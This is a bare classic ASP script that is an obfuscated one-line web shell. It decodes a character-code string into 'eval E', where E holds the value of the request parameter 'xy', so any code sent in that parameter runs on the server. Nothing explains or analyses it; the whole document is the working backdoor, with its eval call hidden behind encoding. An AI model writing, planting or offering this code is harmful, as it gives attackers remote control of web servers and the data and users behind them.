<% E=request("xy") Dim xCode xCode="101a118a97a108a32a69" Execute(X(xCode)) Function X(a) a = Replace(a,"u","-") EncodeArr = Split(a,"a") For iEn=0 To UBound(EncodeArr) ChrAscNum = EncodeArr(iEn) If IsNumeric(ChrAscNum) Then EnTexts = EnTexts & Chrw(ChrAscNum) End If Next X = EnTexts End Function%>